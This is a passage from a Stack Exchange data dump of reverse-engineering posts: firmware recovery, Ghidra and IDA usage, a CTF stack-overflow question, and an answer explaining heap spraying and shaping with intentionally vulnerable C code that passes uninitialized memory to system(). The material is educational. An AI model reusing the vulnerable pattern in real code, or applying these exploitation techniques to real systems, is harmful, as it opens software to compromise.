ContentLicense="CC BY-SA 4.0" />
  <row Id="21306" PostTypeId="1" CreationDate="2019-05-13T10:09:11.193" Score="0" ViewCount="263" Body="&lt;p&gt;in this challenge i have to overwrite RIP register to point to the function &quot;print_flags&quot; which calls &quot;getenv&quot; to get the &quot;FLAGS&quot; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have overwritten RIP register with the address of &quot;print_flags&quot;, but when it is going to call &quot;getenv&quot; i get a SIGSEGV because of the argument passed to getenv which is &quot;AGS&quot; instead of &quot;FLAGS&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am i doing wrong?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004006a6 &amp;lt;read_all_stdin&amp;gt;:&#xA;  4006a6:   55                      push   rbp&#xA;  4006a7:   48 89 e5                mov    rbp,rsp&#xA;  4006aa:   48 83 ec 20             sub    rsp,0x20&#xA;  4006ae:   48 89 7d e8             mov    QWORD PTR [rbp-0x18],rdi&#xA;  4006b2:   c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0&#xA;  4006b9:   eb 18                   jmp    4006d3 &amp;lt;read_all_stdin+0x2d&amp;gt;&#xA;  4006bb:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]&#xA;  4006be:   8d 50 01                lea    edx,[rax+0x1]&#xA;  4006c1:   89 55 fc                mov    DWORD PTR [rbp-0x4],edx&#xA;  4006c4:   48 63 d0                movsxd rdx,eax&#xA;  4006c7:   48 8b 45 e8             mov    rax,QWORD PTR [rbp-0x18]&#xA;  4006cb:   48 01 d0                add    rax,rdx&#xA;  4006ce:   8b 55 f8                mov    edx,DWORD PTR [rbp-0x8]&#xA;  4006d1:   88 10                   mov    BYTE PTR [rax],dl&#xA;  4006d3:   48 8b 05 86 09 20 00    mov    rax,QWORD PTR [rip+0x200986]        # 601060 &amp;lt;stdin@@GLIBC_2.2.5&amp;gt;&#xA;  4006da:   48 89 c7                mov    rdi,rax&#xA;  4006dd:   e8 ae fe ff ff          call   400590 &amp;lt;fgetc@plt&amp;gt;&#xA;  4006e2:   89 45 f8                mov    DWORD PTR [rbp-0x8],eax&#xA;  4006e5:   83 7d f8 ff             cmp    DWORD PTR [rbp-0x8],0xffffffff&#xA;  4006e9:   75 d0                   jne    4006bb &amp;lt;read_all_stdin+0x15&amp;gt;&#xA;  4006eb:   90                      nop&#xA;  4006ec:   c9                      leave  &#xA;  4006ed:   c3                      ret    &#xA;&#xA;00000000004006ee &amp;lt;print_flags&amp;gt;:&#xA;  4006ee:   55                      push   rbp&#xA;  4006ef:   48 89 e5                mov    rbp,rsp&#xA;  4006f2:   48 8d 3d 0b 01 00 00    lea    rdi,[rip+0x10b]        # 400804 &amp;lt;_IO_stdin_used+0x4&amp;gt;&#xA;  4006f9:   e8 52 fe ff ff          call   400550 &amp;lt;getenv@plt&amp;gt;&#xA;  4006fe:   48 89 c7                mov    rdi,rax&#xA;  400701:   e8 5a fe ff ff          call   400560 &amp;lt;puts@plt&amp;gt;&#xA;  400706:   bf 00 00 00 00          mov    edi,0x0&#xA;  40070b:   e8 90 fe ff ff          call   4005a0 &amp;lt;exit@plt&amp;gt;&#xA;&#xA;0000000000400710 &amp;lt;main&amp;gt;:&#xA;  400710:   55                      push   rbp&#xA;  400711:   48 89 e5                mov    rbp,rsp&#xA;  400714:   48 83 ec 20             sub    rsp,0x20&#xA;  400718:   48 8d 45 e0             lea    rax,[rbp-0x20]&#xA;  40071c:   ba 20 00 00 00          mov    edx,0x20&#xA;  400721:   be 00 00 00 00          mov    esi,0x0&#xA;  400726:   48 89 c7                mov    rdi,rax&#xA;  400729:   e8 52 fe ff ff          call   400580 &amp;lt;memset@plt&amp;gt;&#xA;  40072e:   48 8d 45 e0             lea    rax,[rbp-0x20]&#xA;  400732:   48 89 c7                mov    rdi,rax&#xA;  400735:   e8 6c ff ff ff          call   4006a6 &amp;lt;read_all_stdin&amp;gt;&#xA;  40073a:   48 8d 45 e0             lea    rax,[rbp-0x20]&#xA;  40073e:   0f b6 00                movzx  eax,BYTE PTR [rax]&#xA;  400741:   84 c0                   test   al,al&#xA;  400743:   75 0e                   jne    400753 &amp;lt;main+0x43&amp;gt;&#xA;  400745:   48 8d 3d be 00 00 00    lea    rdi,[rip+0xbe]        # 40080a &amp;lt;_IO_stdin_used+0xa&amp;gt;&#xA;  40074c:   e8 0f fe ff ff          call   400560 &amp;lt;puts@plt&amp;gt;&#xA;  400751:   eb 18                   jmp    40076b &amp;lt;main+0x5b&amp;gt;&#xA;  400753:   48 8d 45 e0             lea    rax,[rbp-0x20]&#xA;  400757:   48 89 c6                mov    rsi,rax&#xA;  40075a:   48 8d 3d bc 00 00 00    lea    rdi,[rip+0xbc]        # 40081d &amp;lt;_IO_stdin_used+0x1d&amp;gt;&#xA;  400761:   b8 00 00 00 00          mov    eax,0x0&#xA;  400766:   e8 05 fe ff ff          call   400570 &amp;lt;printf@plt&amp;gt;&#xA;  40076b:   b8 00 00 00 00          mov    eax,0x0&#xA;  400770:   c9                      leave  &#xA;  400771:   c3                      ret    &#xA;  400772:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]&#xA;  400779:   00 00 00 &#xA;  40077c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are some screenshots of the payload that i used to and the Segmentation fault error:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/C6saA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C6saA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/UmExF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UmExF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Fixing the memory out of bounds, now i get another SIGSEGV:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stopped reason: SIGSEGV&#xA;__strlen_sse2 () at ../sysdeps/x86_64/multiarch/../strlen.S:120&#xA;120 ../sysdeps/x86_64/multiarch/../strlen.S: No such file or directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read some articles and it might be a NULL terminated string problem or like EOF problem from fgets? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm freaking out for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PIqg2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PIqg2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28401" LastEditorUserId="28401" LastEditDate="2019-05-13T11:39:29.100" LastActivityDate="2019-05-13T11:39:29.100" Title="R13 off by 2 bytes. Any help?" Tags="|gdb|x86-64|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21308" PostTypeId="2" ParentId="18428" CreationDate="2019-05-13T20:28:56.043" Score="-1" Body="&lt;p&gt;It is possible but very complicated!!&#xA;Regardless gdb, you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using static binary instrumentation to instrument a binary file and add your arbitrary code. APIs like Dyninst is very powerful in this area. &lt;/li&gt;&#xA;&lt;li&gt;Using gcc-plugin: you can write your own gcc-plugin to add additional pass to gcc compiler. gcc-plugin is very powerful to do such works. However, you should read the internal architecture of gcc compiler and gcc-plugin API (headers file) to write a plugin.&lt;/li&gt;&#xA;&lt;li&gt;Ptrace &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="23565" LastEditorUserId="23565" LastEditDate="2019-05-22T20:17:12.907" LastActivityDate="2019-05-22T20:17:12.907" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21309" PostTypeId="1" CreationDate="2019-05-14T09:34:06.430" Score="1" ViewCount="133" Body="&lt;p&gt;coming in from openwrt forum: &lt;a href=&quot;https://forum.openwrt.org/t/trying-to-rescue-bricked-dgn1000-v3-need-help/36909&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.openwrt.org/t/trying-to-rescue-bricked-dgn1000-v3-need-help/36909&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently have serial console but i may have borked the u-boot looking for help on how to jtag or spi flash the chip to restore original firmware on the modem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently on the serial console i get this output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ROM VER: 1.2.0                                                                  &#xA;&#xA;CFG 04                                                                          &#xA;&#xA;EEPROM Data OK                                                                  &#xA;&#xA;UART&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running binwalk gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;192           0xC0            Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 3548940 bytes, 1283 inodes, blocksize: 131072 bytes, created: 2015-04-07 07:20:16&#xA;3551424       0x3630C0        LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5398000 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;extracting gives: &#xA;&lt;a href=&quot;https://i.stack.imgur.com/NdWeY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NdWeY.png&quot; alt=&quot;extracted files image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the serial output logs before i bricked the device at the end you can see the upload got interrupted and bricked the device&#xA; &lt;a href=&quot;https://pastebin.com/SQUsq1Zv&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/SQUsq1Zv&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;need help/ideas/pointers on how to reflash the original firmware.&#xA;thanks.&lt;/p&gt;&#xA;" OwnerUserId="28411" LastActivityDate="2019-05-14T09:34:06.430" Title="Need help : restoring a netgear dgn1000 v3 adsl modem/router" Tags="|firmware|hardware|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21310" PostTypeId="1" AcceptedAnswerId="21311" CreationDate="2019-05-14T15:40:47.473" Score="1" ViewCount="837" Body="&lt;p&gt;I have a 32-bit ARM Linux kernel module with debug symbols. When it is decompiled, it produces many functions that have a macro called &lt;code&gt;MEMORY&lt;/code&gt; in them. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int S_u8init_flag = 0; // Context for function internals&#xA;int aess_adcsensor_release(inode *inode, file *filp) {&#xA;  int result;&#xA;&#xA;  result = 0;&#xA;  MEMORY[0xF0014000] &amp;amp;= 0xFFFDFFFF; // What does this mean?&#xA;  S_u8init_flag = 0;&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this &lt;code&gt;MEMORY&lt;/code&gt; macro mean? Is there a C99 equivalent to it, or is it an IDA-specific macro?&lt;/p&gt;&#xA;" OwnerUserId="28414" LastActivityDate="2019-05-14T18:31:46.927" Title="MEMORY macro in IDA Pro pseudocode" Tags="|ida|arm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21311" PostTypeId="2" ParentId="21310" CreationDate="2019-05-14T18:31:46.927" Score="2" Body="&lt;p&gt;&lt;code&gt;MEMORY[&amp;lt;addr&amp;gt;]&lt;/code&gt; means there is a direct access to a memory address which is not mapped to an existing segment in the IDB so the decompiler/IDA could not allocate a variable for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you press &lt;kbd&gt;Tab&lt;/kbd&gt;, you should land on the assembly corresponding to that line and check what is happening there.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-05-14T18:31:46.927" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21315" PostTypeId="1" CreationDate="2019-05-15T11:28:49.813" Score="2" ViewCount="647" Body="&lt;p&gt;I want to add a fake KB to the OS, and see it using wmic qfe list. So do you know how can I create a faked KB? Or if it is possible to cause WMI to report a specific KB?&lt;/p&gt;&#xA;" OwnerUserId="28427" LastEditorUserId="99" LastEditDate="2019-07-23T12:23:00.693" LastActivityDate="2019-07-23T12:23:00.693" Title="How can I spoof WMI data?" Tags="|windows-10|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21316" PostTypeId="1" CreationDate="2019-05-15T14:15:21.937" Score="2" ViewCount="986" Body="&lt;p&gt;This article (&lt;a href=&quot;https://developer.android.com/studio/debug/apk-debugger&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.android.com/studio/debug/apk-debugger&lt;/a&gt;) explains how to debug third-party APKs and set breakpoints by attaching the java source (you can use decompiled code to get it mostly working). Other tutorials online likewise give the same instruction, which is to open the smali file in Android studio, and when presented with the banner saying to attach Java sources, click the link in the banner to attach them. The problem is when I do this myself, there is no link in the banner. I've tried context menus, scouring the toolbar, searching online, but no one mentions what to do in this situation. I can't find another method of attaching them except from this one place, so there's no fallback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Fm52b.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fm52b.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25478" LastActivityDate="2019-08-02T12:31:01.420" Title="Unable to attach java sources to APK being debugged in Android Studio -- Option not displayed" Tags="|debugging|android|apk|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21317" PostTypeId="1" AcceptedAnswerId="21318" CreationDate="2019-05-15T16:10:04.733" Score="2" ViewCount="1721" Body="&lt;p&gt;Recent RDP &lt;a href=&quot;https://research.checkpoint.com/reverse-rdp-attack-code-execution-on-rdp-clients/&quot; rel=&quot;nofollow noreferrer&quot;&gt;vulnerability&lt;/a&gt; and exploits have mentioned the use of heap shaping technique. &#xA;Can anyone please explain in details what is actually involved in using this tactic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2019-05-15T16:43:28.480" Title="Explanation of heap shaping technique and how it is different from heap spraying" Tags="|exploit|heap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21318" PostTypeId="2" ParentId="21317" CreationDate="2019-05-15T16:43:28.480" Score="2" Body="&lt;p&gt;Heap shaping (also called heap grooming, for a more passive approach) is the slightly more intelligent sibling of heap spraying while developing exploits. Therefore, to properly explain heap shaping one must first be familiar with &lt;a href=&quot;https://en.wikipedia.org/wiki/Heap_spraying&quot; rel=&quot;nofollow noreferrer&quot;&gt;heap spraying&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;heap spraying&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Heap spraying is the act of intentionally filling (spraying) a target process's heap space with recurring/sequential data, using an external attack primitive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example, you've found a uninitialized-variable bug, where a variable is not initialized when it should, and is then used in a manner that could be dangerous depending on it's the actual value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example might make it clearer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct __struct_cmd {&#xA;    int type;&#xA;    char shell_cmd[1024];&#xA;} struct_cmd;&#xA;&#xA;void safe_cmd(struct_cmd* cmd)&#xA;{&#xA;    switch (cmd-&amp;gt;type)&#xA;    {&#xA;    case CMD_1:&#xA;        strcpy(cmd-&amp;gt;shell_cmd, SAFE_CMD1);&#xA;        break;&#xA;    case CMD_2:&#xA;        strcpy(cmd-&amp;gt;shell_cmd, SAFE_CMD2);&#xA;        break;&#xA;    }&#xA;    system(cmd-&amp;gt;shell_cmd);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the above example, it's easy to notice that if a user provides any value other than &lt;code&gt;CMD_1&lt;/code&gt; or &lt;code&gt;CMD_2&lt;/code&gt; for &lt;code&gt;cmd.type&lt;/code&gt;, &lt;code&gt;shell_cmd&lt;/code&gt; will not be uninitialized and an unknown value will be passed on to the lucrative &lt;code&gt;system&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being able to set &lt;code&gt;cmd-&amp;gt;shell_cmd&lt;/code&gt; to a specific value that is a valid (and malicious) shell command will potentially give us code execution on the target. Simply put, heap spraying is the act of getting a lot of heap memory space filled with the specific shell command we'd like to execute.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;heap shaping&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now that was a relatively trivial case, and quite frequently heap spraying/shaping are used to exploit memory corruption bugs but that's irrelevant. Usually, you'd be addressing many more constraints to successfully exploit a memory corruption, and &quot;filling the heap with data&quot; simply won't be enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double-free and use-after-free bugs will require specific objects/structs be allocated at the same space  a different object previously reside in. You'd then need to make sure the heap has a specific &lt;em&gt;shape&lt;/em&gt;, in a way, so that a different object will &quot;fit&quot; into a &lt;a href=&quot;https://en.wikipedia.org/wiki/Coalescing_(computer_science)&quot; rel=&quot;nofollow noreferrer&quot;&gt;coalescing heap&lt;/a&gt; (or high fragmentation heap, as opposed to &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/Memory/low-fragmentation-heap&quot; rel=&quot;nofollow noreferrer&quot;&gt;low fragmentation heap&lt;/a&gt;). You may need to make sure a specific instance you control through a primitive is allocated in the right spot. Getting the heap to be in that specific way is what's called &quot;heap shaping&quot;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-05-15T16:43:28.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21319" PostTypeId="1" CreationDate="2019-05-15T22:32:57.427" Score="0" ViewCount="1056" Body="&lt;p&gt;I tried to unpack binary which is SquashFS system, the file is &lt;code&gt;mtd partition&lt;/code&gt; copied from NAND device, Root filesystem (read-only). Actually its SquashFS version, modifyed/patched by vendor.&#xA;binwalk show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Squashfs filesystem, little endian, non-standard signature, version 3.1, size: 8372772 bytes, 1028 inodes, blocksize: 131072 bytes, created: 2017-08-02 06:39:51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First I tried to unsquash it use &lt;code&gt;unsquashfs&lt;/code&gt; utility, compiled from the source, provided by vendor in their GPL release, but not works.&#xA;(more precisely, the GPL source is for the previous version of F/W release, whereas I have a more recent F/W version)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./unsquashfs mtd4.bin&#xA;Parallel unsquashfs: Using 4 processors&#xA;Lseek failed because Invalid argument&#xA;sqlzma_un: ZLIB data error&#xA;Aborted&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried also use &lt;code&gt;sasquatch&lt;/code&gt; utility:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sasquatch mtd4.bin&#xA;SquashFS version [3.1] / inode count [1028] suggests a SquashFS image of the same endianess&#xA;Non-standard SquashFS Magic: shsq&#xA;Parallel unsquashfs: Using 1 processor&#xA;Lseek failed because Invalid argument&#xA;read_block: failed to read block @0x92e6f69dab953c47&#xA;read_fragment_table: failed to read fragment table block&#xA;FATAL ERROR:failed to read fragment table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anybody advice how to unpack &lt;a href=&quot;https://yadi.sk/d/H3xka8pReZ-ptA&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;? &lt;/p&gt;&#xA;" OwnerUserId="14092" LastActivityDate="2019-05-15T22:32:57.427" Title="unsquashfs failed to read SquashFS file" Tags="|binary-analysis|firmware|decompress|binwalk|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21320" PostTypeId="1" CreationDate="2019-05-16T08:24:51.387" Score="4" ViewCount="980" Body="&lt;p&gt;I want to automate the search for function calls to a function that does not live in the binary and where the function address is passed, via a pointer to a struct, at runtime through a function parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, the first parameter of a JNI class is &lt;code&gt;JNIEnv*&lt;/code&gt; which is a struct that contains, among other things, pointers to JNI functions. If you decompile a JNI function, you might see something like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Java_com_example_ExampleClass_exampleMethod(JNIEnv*, ...) {&#xA;   ...&#xA;   clazz = (*(*env)-&amp;gt;FindClass)(env,jniClass);&#xA;   ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Ghidra's pcode API, is it possible to automate locating all references to the &lt;code&gt;FindClass&lt;/code&gt; function? For reference, the call to &lt;code&gt;FindClass&lt;/code&gt; will look something like the following in x86 assembly and pcode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  000fd2be 8b 0f           MOV        ECX,dword ptr [EDI]&#xA;                                              $U16f0:4 = LOAD ram(EDI)&#xA;                                              ECX = COPY $U16f0&#xA;&#xA;&#xA;  000fd2c7 ff 51 18        CALL       dword ptr [ECX + 0x18]&#xA;                                              $U3a0:4 = INT_ADD ECX, 24:4&#xA;                                              ESP = INT_SUB ESP, 4:4&#xA;                                              STORE ram(ESP), 0xfd2ca:4&#xA;                                              $U16f0:4 = LOAD ram($U3a0)&#xA;                                              CALLIND $U16f0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="248" LastActivityDate="2022-02-24T21:03:15.260" Title="Automate looking for calls to an offset of a structure" Tags="|ghidra|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21321" PostTypeId="1" CreationDate="2019-05-16T11:26:42.690" Score="1" ViewCount="779" Body="&lt;p&gt;I am trying to reverse engineer a decoder. The decoder contains a web server that makes sending/receiving information through the Internet possible.&#xA;To do so I need to sniff the packets that the decoder receives from an Android application installed on my phone, this application is what controls the decoder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using Wireshark at first, but it turned out that the packets are sent over SSL, so they are all encrypted. I then tried to sniff my TCP packets using mitmproxy, which didn't work since it doesn't sniff TCP packets, it only logs packets sent over HTTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the answers to the following question &lt;a href=&quot;https://github.com/mitmproxy/mitmproxy/issues/2883&quot; rel=&quot;nofollow noreferrer&quot;&gt;How can I capture all traffic network by mitmproxy?&lt;/a&gt;. I decided to give Wireshark a second try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I need the private key which is stored on the decoder. This will enable me the decrypt the SSL packets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can get this private key from the decoder? would openssl solve this problem? I am on Linux, Ubuntu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some help with this!&lt;/p&gt;&#xA;" OwnerUserId="28436" LastActivityDate="2020-03-08T20:51:28.370" Title="Sniffing TCP packets using Wireshark" Tags="|linux|decryption|security|sniffing|wireshark|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21322" PostTypeId="1" CreationDate="2019-05-16T16:00:58.923" Score="5" ViewCount="2644" Body="&lt;p&gt;I'm working on a function in the Ghidra decompiler with a bunch of variables that are re-used across different scopes. I don't see any way to rename this variable on a per-line basis. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="28438" LastActivityDate="2020-03-26T09:41:04.903" Title="Renaming shadowed variables in Ghidra" Tags="|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21323" PostTypeId="1" CreationDate="2019-05-16T16:16:42.513" Score="1" ViewCount="37" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/63iTs.jpg&quot; alt=&quot;motor nameplate&quot;&gt;&#xA;I’m trying to resurrect this robot from Daihen-I need to determine how this proprietary motor and encoder are wired. Anyone got experience with this?&lt;/p&gt;&#xA;" OwnerUserId="28439" LastActivityDate="2019-05-16T16:16:42.513" Title="Using an arduino or raspberry pi, how can I drive and control a proprietary diehen servomotor?" Tags="|hardware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21324" PostTypeId="2" ParentId="20905" CreationDate="2019-05-16T20:02:55.087" Score="6" Body="&lt;p&gt;I'm looking for the same thing and for now I found the class PcodeSyntaxTree having a method called getBasicBlocks(), which returns an array of PcodeBlockBasic elements. This second class has methods like getIn and getOut which retrieve incoming and outgoing nodes (basic blocks), respectively. So I think using this methods should be the interface for interacting with the CFG programmatically. But sadly I didn't figure out yet how to get this PcodeSyntaxTree object, but will continue investigating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this can help you a bit!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;links:&#xA;&lt;a href=&quot;http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeSyntaxTree.html&quot; rel=&quot;noreferrer&quot;&gt;http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeSyntaxTree.html&lt;/a&gt;&#xA;&lt;a href=&quot;http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeBlockBasic.html&quot; rel=&quot;noreferrer&quot;&gt;http://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/PcodeBlockBasic.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS.: Other thing you can do is to study the code of calculateCyclomaticComplexity​ method, which uses this BasickBlock models, I think I will probably do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;good news I think. I found the DecompleResults class, having the method getHighFunction() which returns a HighFunction object. HighFunction class extends to PcodeSyntaxTree, so it has also the getBasicBlocks method. From that point you can go on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DecompileResults class is contained in ghidra.app.decompiler, as well as DecompInterface, which has the decompileFunction() method that returns a DecompileResults object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Make calls to the decompiler: &#xA;// *   DecompileResults res = ifc.decompileFunction(func,0,taskmonitor);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;links:&#xA;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Decompiler/src/main/java/ghidra/app/decompiler/DecompInterface.java&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/app/decompiler/DecompileResults.html&quot; rel=&quot;noreferrer&quot;&gt;https://ghidra.re/ghidra_docs/api/ghidra/app/decompiler/DecompileResults.html&lt;/a&gt;&#xA;&lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/HighFunction.html&quot; rel=&quot;noreferrer&quot;&gt;https://ghidra.re/ghidra_docs/api/ghidra/program/model/pcode/HighFunction.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can imagine something like this (in python api):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import ghidra.app.decompiler as decomp&#xA;&#xA;interface = decomp.DecompInterface()&#xA;&#xA;# decompileFunction(function, timeout, monitor)&#xA;# according to documentation, function is a Function object, timeout is int,&#xA;# and monitor is an OPTIONAL ARGUMENT of TaskMonitor type. &#xA;# However, it doesn't say anything about a default value for this argument &#xA;# and omitting the arg in the call falls in an error.&#xA;&#xA;results = interface.decompileFunction(func, 0, taskMonitor)&#xA;hf = results.getHighFunction()&#xA;&#xA;bbList = hf.getBasicBlocks()&#xA;&#xA;# ...&#xA;# ...&#xA;# ...&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28440" LastEditorUserId="28440" LastEditDate="2019-05-16T20:38:53.290" LastActivityDate="2019-05-16T20:38:53.290" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
